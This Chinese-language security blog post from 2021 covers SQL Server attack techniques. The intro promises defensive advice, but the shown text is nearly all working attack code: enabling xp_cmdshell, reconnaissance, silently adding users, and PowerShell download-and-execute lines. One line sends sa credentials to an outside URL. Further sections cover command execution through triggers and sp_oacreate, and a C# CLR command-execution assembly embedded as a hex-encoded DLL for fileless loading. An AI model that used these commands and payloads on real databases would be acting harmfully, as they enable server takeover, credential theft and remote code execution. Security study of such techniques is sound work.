SQL Server資料庫安全

深信服千里目發表於2021-04-22

SQL Server資料庫安全

目錄

 

by Tahir 2021.3.5

前言

一年一度的網路安全建設成果檢驗即將開始,在網路安全實戰攻防演練這場最關鍵的戰役中,辦公應用系統、Web中介軟體,資料庫等是攻擊方主要的攻擊物件,由於使用量最大,資料庫往往會成為攻擊者的首選目標之一。以微軟SQL Server為例,除了常見的SQL隱碼攻擊漏洞,攻擊方還會用一些“出其不意”的招式,將SQL Server原本的優勢轉變為攻擊的突破口,比如在相應的許可權下,攻擊者可以利用SQL Server強大的儲存過程執行不同的高階功能,透過增加SQL Server資料庫使用者,許可權維持等方式,攻擊使用者資料庫系統,下文將詳述攻擊方那些“不常見”的資料庫攻擊手段以及防守方的應對思路。

SQL Server概述

SQL Server是Microsoft開發的關聯式資料庫管理系統(RDBMS)。 它是市場上最受歡迎的DBMS之一。SQL Server具有極其廣泛的用途,它可以在各個方面使用,從儲存個人部落格的內容到儲存客戶資料等。

 

在2017版之前,SQL Server僅適用於Windows。 SQL Server 2017中最大的變化之一是,它現在可在Linux和Docker容器上使用。 這意味著可以在Mac上執行SQL Server。

 

SQL Server的可用版本

版本 描述
Enterprise Edition 此版本僅在Windows Server作業系統上執行。 適用於對速度和可用性具有較高優先順序的大型生產資料庫伺服器。提供複製和聯機分析過程(OLAP)服務等功能,這些服務可能會增加其安全風險。
Standard Edition 該版本與Enterprise Edition相似,但缺少虛擬介面系統區域網(VI SAN)支援和某些高階OLAP功能。
Personal Edition 它旨在用於工作站和行動式計算機,而不是伺服器。 其設計最多支援五個資料庫使用者。
Developer Edition 面向開發人員版本,它與Enterprise Edition具有相似的功能,但並不意味著可以在真實的生產環境中執行。

客戶端/伺服器資料庫系統

SQL Server是一個客戶端/伺服器資料庫管理系統(DBMS)。 這允許有許多不同的客戶端同時,全部連線到SQL Server。 這些客戶端的每一個都可以透過不同的工具進行連線。

 

例如,一個客戶端可能使用如SQL Server Management Studio(SSMS)之類的圖形工具,而另一客戶端可能使用諸如sqlcmd之類的命令列工具。 同時,網站也可以從Web應用程式連線到SQL Server。 並且可能有許多其他客戶端都使用自己的工具出於自己的目的進行連線。

 

客戶端/伺服器DBMS的主要優點是多個使用者可以同時訪問它,每個使用者都有特定的訪問級別。如果資料庫管理員配置對應的許可權,則任何連線到SQL Server的客戶端將只能訪問他們被允許訪問的資料庫。 他們只能執行允許執行的任務。 所有這些都從SQL Server本身內部進行控制。

 

SQL Server是在服務帳戶的上下文中在作業系統上執行的一組Windows服務。每次安裝SQL Server例項時,實際上都會安裝一組Windows服務並具有唯一的名稱。現有的SQL Server帳戶型別:

  • Windows帳戶。
  • SQL Server登入名(SQL Server內部)。
  • 資料庫使用者(SQL Server內部)。

Windows帳戶和SQL Server登入名用於登入SQL Server。除非系統管理員,否則必須將SQL Server登入名對映到資料庫使用者才能訪問資料。資料庫使用者是在資料庫級別內單獨建立的。

 

SQL Server的常見角色是:

  • Sysadmin角色:SQL Server管理員。
  • Public角色:最低特權,類似於Windows中的everyone組。
  • 更多請參考:https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-2017

TDS協議

表格資料流(Tabular Data Stream, TDS)協議是一種資料庫伺服器和客戶端間互動的應用層協議,為微軟SQL Server資料庫和Sybase公司資料庫產品所採用。

TDS Version Supported Products
4.2 Sybase SQL Server < 10 and Microsoft SQL Server 6.5
5.0 Sybase SQL Server >= 10
7.0 Microsoft SQL Server 7.0
7.1 Microsoft SQL Server 2000
7.2 Microsoft SQL Server 2005
 

詳細的協議結構分析,請參考:http://freetds.cvs.sourceforge.net/checkout/freetds/freetds/doc/tds.html

注意這些“突破口”,可能會被攻擊方利用

下面先簡單介紹SQL Server一些常用的攻擊面的利用方式。

SQL Server危險的儲存過程

xp_cmdshell

查詢xp_cmdshell儲存過程是否存在

 

xtype為物件型別,xtype='x',表示儲存過程的物件型別為擴充套件儲存過程。

1
select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

 

TSQL程式碼判斷是否開啟xp_cmdshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
declare @RunningOnACluster char(1)
declare @xp_cmdshell_available char(1)
declare @result int
set @xp_cmdshell_available='Y'
set @result=0
select @RunningOnACluster=case
when convert(int, serverproperty('IsClustered')) = 1 then 'Y'
else 'N'
end
if(0=(select value_in_use from sys.configurations where name='xp_cmdshell'))
    set @xp_cmdshell_available='N' if @RunningOnACluster='Y'
begin
    if @xp_cmdshell_available='Y'
        select @result=1
    if @xp_cmdshell_available='N'
        select @result=2
end
select @result

 

恢復xp_cmdshell儲存過程

 

解決Error Message:未能找到儲存過程 ‘master..xp_cmdshell’。

 

第一步先刪除:

1
2
3
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

第二步恢復:

1
2
dbcc addextendedproc("sp_oacreate","odsole70.dll")
dbcc addextendedproc("xp_cmdshell"," ")

 

直接恢復,不管sp_addextendedproc是不是存在,需要自行上傳xplog70.dll,恢復擴充套件儲存過過程xp_cmdshell的語句:

1
dbcc addextendedproc("xp_cmdshell","xplog70.dll")

程式碼判斷一系列儲存過程是否存在,若不存在則恢復。

1
2
3
4
5
6
7
8
9
10
if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]'))
dbcc addextendedproc ('xp_cmdshell','xplog70.dll')
if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_dirtree]'))
dbcc addextendedproc ('xp_dirtree','xpstar.dll')
if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_fixeddrives]'))
dbcc addextendedproc ('xp_fixeddrives','xpstar.dll')
if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_regwrite]'))
dbcc addextendedproc ('xp_regwrite','xpstar.dll')
if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_regread]'))
dbcc addextendedproc ('xp_regread','xpstar.dll')

 

開啟xp_cmdshell儲存過程

1
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; exec SP_CONFIGURE 'xp_cmdshell', 1; RECONFIGURE;

 

關閉xp_cmdshell儲存過程

 

關閉xp_cmdshell配置

1
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

 

刪除xp_cmdshell的語句:

1
exec sp_dropextendedproc 'xp_cmdshell';

刪除xp_cmdshell過程,再新增xp_cmdshell過程,需要自行上傳xplog70.dll恢復被刪除的xp_cmdshell。

1
2
drop procedure xp_cmdshell;
exec sp_addextendedproc "xp_cmdshell", "xplog70.dll";

附錄

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
exec sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
exec sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
exec sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
exec sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
exec sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
exec sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
exec sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
exec sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
exec sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'

xp_cmdshell執行系統命令

 

xp_cmdshell執行whoami命令

1
2
3
exec master.dbo.xp_cmdshell 'whoami'
exec master.dbo.xp_cmdshell "whoami"
exec xp_cmdshell "whoami";

 

xp_cmdshell執行ipconfig/all命令

1
exec master..xp_cmdshell 'ipconfig/all'

 

查詢作業系統和版本資訊(分別對應中英文系統)

1
2
exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"'
exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本"'

 

透過xp_cmdshell執行wmic 獲取系統資訊

1
exec master..xp_cmdshell 'wmic cpu get name,NumberOfCores,NumberOfLogicalProcessors/Format:List'

 

呼叫reg query登錄檔鍵值判斷RDP服務的埠號

1
exec master..xp_cmdshell 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber'

 

透過xp_cmdshell執行新增testuser1使用者並且不輸出結果

1
exec master..xp_cmdshell 'Net user testuser1 passwd1 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add',NO_OUTPUT

 

透過xp_cmdshell刪除testuser1使用者並且不輸出結果

1
EXEC master..xp_cmdshell 'net user testuser1/delete', NO_OUTPUT

 

透過xp_cmdshell執行taskkill 殺死taskmgr.exe,taskmgr.exe用於工作管理員。它顯示系統中正在執行的程式。該程式使用Ctrl+Alt+Del(一般是彈出Windows安全再點選“工作管理員”)或者Ctrl+Shift+Esc開啟,這不是純粹的系統程式,但是如果終止它,可能會導致不可知的問題。

1
exec master.dbo.xp_cmdshell 'taskkill /f /im taskmgr.exe';

呼叫xp_cmdshell執行mkdir命令建立目錄

1
exec master..xp_cmdshell 'mkdir "C:\test\" '

 

透過xp_cmdshell執行dir命令

1
2
exec master..xp_cmdshell 'dir c:\'
exec xp_cmdshell 'dir c:\'

 

透過xp_cmdshell刪除檔案

1
exec master..xp_cmdshell 'del C:\test';

xp_cmdshell呼叫Powershell

 

透過xp_cmdshell呼叫powershell 下載http://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1

1
exec xp_cmdshell 'powershell -c "iex((new-object Net.WebClient).DownloadString(''http://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1''))"'

 

呼叫xp_cmdshell執行echo CreateObject最後寫入C:/ProgramData/vget.vbs檔案

1
exec master..xp_cmdshell 'echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 > C:/ProgramData/vget.vbs';

 

透過xp_cmdshell呼叫cmd.exe 執行powershell 呼叫OpenRead方法向資料庫傳送登入使用者名稱sa密碼

1
2
exec xp_cmdshell 'powershell (new-object System.Net.WebClient).OpenRead(''http://example/test.jsp?data=127.0.0.1%7c1433%7csa%7cDb123456'')'
``````

 

透過xp_cmdshell呼叫powershell下載test0.exe後並執行

1
exec master..xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell  -ExecutionPolicy Bypass  %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'

xp_regread

SQL Server存在一系列的儲存過程,可以對登錄檔進行增刪改查。xp_regread、xp_regwrite、xp_regdeletvalue、xp_regdeletkey、xp_regaddmultistring等。

 

讀登錄檔

1
2
exec xp_regread 'HKEY_current_user','Control Panel\International','sCountry'
exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH'

 

列舉可用的登錄檔鍵值

1
exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'

xp_fileexist

判讀檔案是否存在,第一列返回0表示檔案不存在,返回1表示檔案存在。當執行完無回顯命令時,一般都將結果輸入至檔案中,利用此儲存過程可以判斷無回顯命令是否執行成功。

 

判讀檔案是否存在

1
exec xp_fileexist 'C:\\test\test.txt'

 

列出當前目錄

1
exec xp_subdirs "C:\\"

xp_getnetname

獲取伺服器名稱

1
exec xp_getnetname

xp_msver

獲取伺服器資訊

1
exec xp_msver

xp_fixeddrives

獲取磁碟空間資訊

1
exec xp_fixeddrives

 

附常用的一些危險的儲存過程,可自查儲存過程的功能和用法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
xp_cmdshell
xp_dirtree
xp_enumgroups
xp_fixeddrives
xp_loginconfig
xp_enumerrorlogs
xp_getfiledetails
Sp_OACreate
Sp_OADestroy
Sp_OAGetErrorInfo
Sp_OAGetProperty
Sp_OAMethod
Sp_OASetProperty
Sp_OAStop
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
sp_makewebtask

SQL Server 觸發器

SQL Server 觸發器用於執行指定動作之後執行sql語句,比如配合update觸發sql語句。

 

首先建立一個test表,插入欄位值。

 

 

 

建立一個名為test1的觸發器,當test表執行update動作時,觸發test1執行xp_cmdshell命令。

1
2
3
4
5
6
7
8
9
10
11
set ANSI_NULLS on
go
set QUOTED_IDENTIFIER on
go
create trigger [test1]
on [test]
AFTER UPDATE as
begin
    execute master..xp_cmdshell 'cmd.exe /c calc.exe'
end
go

 

執行下列更新test表操作,test1觸發器觸發。

1
UPDATE test SET name = 'wangwu' WHERE LastName = 'zhangsan'

SQL Server COM元件

SQL Server中的COM元件SP_OACREATE,執行系統命令,但是此利用方法無回顯。

SP_OACREATE

檢視SP_OACREATE狀態。

1
select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

 

利用count(*)判斷是否存在,,存在即返回1。

1
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

啟用SP_OACREATE

利用sp_configure儲存過程,啟用SP_OACREATE

1
2
exec sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE;  
exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;

利用SP_OACREATE執行命令

利用SP_OACREATE執行系統命令

1
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c whoami /all >C:\\test\test.txt'

SQL Server CLR相關利用

CLR微軟官方把他稱為公共語言執行時,從 SQL Server 2005 (9.x) 開始,SQL Server 整合了用於 Microsoft Windows 的 .NET Framework 的公共語言執行時 (CLR) 元件。 這意味著現在可以使用任何 .NET Framework 語言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)來編寫儲存過程、觸發器、使用者定義型別、使用者定義函式、使用者定義聚合和流式表值函式。

 

官方連結:https://docs.microsoft.com/zh-cn/sql/relational-databases/clr-integration/common-language-runtime-clr-integration-programming-concepts?view=sql-server-ver15

 

在利用MSSQL服務實現命令執行的時候,通常的做法是利用xp_cmdshell儲存過程在MSSQL程式的上下文中執行作業系統命令。如果要想利用這種技術執行自定義程式碼,通常需要使用LOLBINS,新增新的作業系統使用者,或透過BCP向磁碟中寫入二進位制檔案,這些方法的缺點是很容易被發現。CLR方式可以利用16進位制檔案流方式匯入DLL檔案,這樣不需要檔案落地。

建立CLR

利用VS建立MSSQL資料庫專案

 

 

修改目標平臺和勾選建立指令碼

 

 

在SQL Server 2005中引入了從MSSQL執行.NET程式碼的功能,並在後續版本中疊加了許多保護措施,來限制程式碼可以訪問的內容。在建立.Net程式集時,會給它們指定一個許可權級別,例如:

1
2
3
CREATE ASSEMBLY SQLCLRTest 
FROM 'C:\MyDBApp\SQLCLRTest.dll' 
WITH PERMISSION_SET = SAFE;

其許可權集有三個選項:

 

SAFE:基本上只將MSSQL資料集暴露給程式碼,其他大部分操作則都被禁止。

 

EXTERNAL_ACCESS:允許訪問底層伺服器上某些資源,但不應該允許直接執行程式碼。

 

UNSAFE:允許使用任何程式碼。

 

微軟關於SQL CLR的詳細文件可透過以下地址獲得: https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration

 

修改目標框架和許可權級別為UNSAFE。

 

 

建立SQL CLR C# 儲存過程

 

 

寫入程式碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;
 
public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void ExecCommand (string cmd)
    {
        // 在此處放置程式碼
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
    }
    public static string RunCommand(string filename,string arguments)
    {
        var process = new Process();
 
        process.StartInfo.FileName = filename;
        if (!string.IsNullOrEmpty(arguments))
        {
            process.StartInfo.Arguments = arguments;
        }
 
        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.UseShellExecute = false;
 
        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.RedirectStandardOutput = true;
        var stdOutput = new StringBuilder();
        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
        string stdError = null;
        try
        {
            process.Start();
            process.BeginOutputReadLine();
            stdError = process.StandardError.ReadToEnd();
            process.WaitForExit();
        }
        catch (Exception e)
        {
            SqlContext.Pipe.Send(e.Message);
        }
 
        if (process.ExitCode == 0)
        {
            SqlContext.Pipe.Send(stdOutput.ToString());
        }
        else
        {
            var message = new StringBuilder();
 
            if (!string.IsNullOrEmpty(stdError))
            {
                message.AppendLine(stdError);
            }
 
            if (stdOutput.Length != 0)
            {
                message.AppendLine("Std output:");
                message.AppendLine(stdOutput.ToString());
            }
            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
        }
        return stdOutput.ToString();
    }
}

 

編譯生成DLL檔案。

 

 

執行許可權級別為“SAFE”的程式碼,只需啟用CLR就可以了;但是,要想執行許可權級別為“EXTERNAL_ACCESS”或“UNSAFE”的程式碼,則需要需要修改相應的配置,以及DBA許可權。2017年之前和之後的伺服器版本,執行標記為“UNSAFE”的CLR所需步驟是不同的,下面分別進行介紹:

 

對於SQL Server 2017之前的版本

 

顯示高階選項:

1
sp_configure 'show advanced options',1;RECONFIGURE


啟用CLR:

1
sp_configure 'clr enabled',1;RECONFIGURE;

 

將儲存.Net程式集的資料庫配置為可信賴的。

1
ALTER DATABASE master SET TRUSTWORTHY ON;

 

SQL Server 2017及更高版本

 

對於SQL Server 2017及更高版本,則引入了嚴格的安全性,也必須禁用。另外,也可以根據提供的SHA512雜湊值,針對單個程式集授予其UNSAFE許可權,而不是將整個資料庫都標記為可信的。對於SQL Server 2017及以上版本,如下所示:

 

顯示高階選項:

1
sp_configure 'show advanced options',1;RECONFIGURE

啟用CLR:

1
sp_configure 'clr enabled',1;RECONFIGURE;

將某程式集的SHA512雜湊值新增到可信程式集列表中:

1
sp_add_trusted_assembly @hash= <SHA512 of DLL>;

從現在開始,程式集的建立和呼叫對於任何SQL Server版本來說,都是一樣的。

 

透過十六進位制字串建立程式集——如果可以從十六進位制字串建立程式集,則意味著無需建立一個二進位制檔案並將其寫入SQL伺服器程式可訪問的位置:

1
CREATE ASSEMBLY clrassem from <HEX STRING> WITH PERMISSION_SET = UNSAFE;

建立儲存過程,以從程式集執行程式碼:

1
CREATE PROCEDURE debugrun AS EXTERNAL NAME clrassem.StoredProcedures.runner;

執行該儲存過程:

1
debugrun

在程式碼執行後,可以刪除儲存過程、程式集以及受信任的雜湊值,並將前面修改的安全設定恢復原值。下面顯示了一個完成該任務的SQL查詢示例

 

對於SQL Server 2017及更高版本:

1
sp_drop_trusted_assembly @hash=<SHA512 of DLL>

對於SQL Server 2017之前的版本:

1
ALTER DATABASE <CONNECTED DATABASE> SET TRUSTWORTHY OFF;

對於所有版本:

1
2
3
4
DROP PROCEDURE debugrun;
DROP ASSEMBLY clrassem;
sp_configure 'clr strict security',1;RECONFIGURE
sp_configure 'show advanced options',0;RECONFIGURE

利用SQL語句匯入程式集

現在可以利用16進位制檔案流方式匯入DLL檔案,這樣不需要檔案落地。

 

1
2
3
4
5
    CREATE ASSEMBLY [Database1]
    AUTHORIZATION [dbo]
    FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006E587C5E0000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402400006002102400006003100E401000000003700000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000002700000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F300044617461626173653100496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468004461746162617365312E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000000593C457501949B4EAC85A8875A6084DC000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006E587C5E00000000020000001C010000E42A0000E40C000052534453CEC8B2762812304EAEE7EF5EE4D9EC7901000000463A5C746F6F6C735F736F757263655C4461746162617365315C4461746162617365315C6F626A5C44656275675C4461746162617365312E706462000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000004400610074006100620061007300650031002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004400610074006100620061007300650031002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000